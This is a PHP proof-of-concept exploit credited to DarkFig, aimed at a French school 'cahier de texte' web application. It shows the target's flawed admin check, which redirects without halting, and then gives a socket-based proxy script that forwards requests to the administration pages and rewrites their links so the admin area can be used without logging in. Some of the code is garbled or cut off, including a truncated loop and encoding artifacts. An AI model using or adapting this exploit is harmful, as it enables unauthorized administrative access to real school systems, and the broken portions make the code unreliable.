www.etab.ac-caen.fr/bsauveur/cahier_de_texte/ 
  Poc.link......: acid-root.new.fr/poc/17061224.txt
  Credits.......: DarkFig

  Vulnerable code
  ==============  'Administrateur') { header("Location: ../index.php");}
  ;} else { header("Location: ../index.php");}?>
  ...

*/

if(!isset($_GET['host']) || empty($_GET['host'])) headers();
if(!isset($_GET['wanted'])) $wanted = 'index.php';

$host = $_GET['host'];
$prox = $_GET['prox'];
$path = $_GET['path'];
echo sockxp($host,$path,$prox,"administration/".$wanted);
exit(0);

function headers()
{
	print("

 


 

  
  
  
  
 

");
	exit(0);
}

function sockxp($host,$path,$prox,$wanted)
{
	$hope = !empty($prox) ? $prox : $host.':80';
	preg_match("/^(\S*):([0-9]+){1,5}/",$hope,$hosta);
	$hosh = $hosta[1];
	$hosp = $hosta[2];
=09
	$recv = '';
	$meth = $_SERVER['REQUEST_METHOD'];
	if(empty($hosh) || empty($hosp)) exit(1);

	if(!$sock = fsockopen($hosh,$hosp)) exit(1);
$dat = $meth." http://".$host; 
=09
	if($meth === "POST") $dat .= "/".str_replace("administration//","",$wanted);
	else $dat .= $path.$wanted;
=09
	$dat .= " HTTP/1.1\r\n";
	$dat .= "Host: $host\r\n";
	$dat .= "Connection: Close\r\n";
=09
	if($meth === "POST") {
		$postdata = get_postdata();
		$dat .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$dat .= "Content-Length: ".strlen($postdata)."\r\n\r\n";
		$dat .= $postdata."\r\n\r\n";
	} else {
		$dat .= "\r\n";
	}

	fputs($sock,$dat);
	while(!feof($sock)) $recv .= fgets($sock);
	fclose($sock);

	return html_replace($recv);
}

function html_replace($htmlc)
{
	global $host,$path,$prox;
	$iniv = $_SERVER['PHP_SELF']."?host=$host&path=$path&prox=$prox&wanted=";
	$newc = str_replace("action=\"","action=\"$iniv",$htmlc);
$newc = str_replace("=\"..","=\"http://${host}${path}administration/..",$newc); 
	$newc = str_replace("a href=\"","a href=\"$iniv",$newc);
	$newc = str_replace("MM_goToURL('parent','","MM_goToURL('parent','$iniv",$newc);
	$newc = explode("\n",$newc);
	for($i=0;$i $value) {
		$postdata .= $key."=".$value."&";
	}
	return $postdata;
}
?>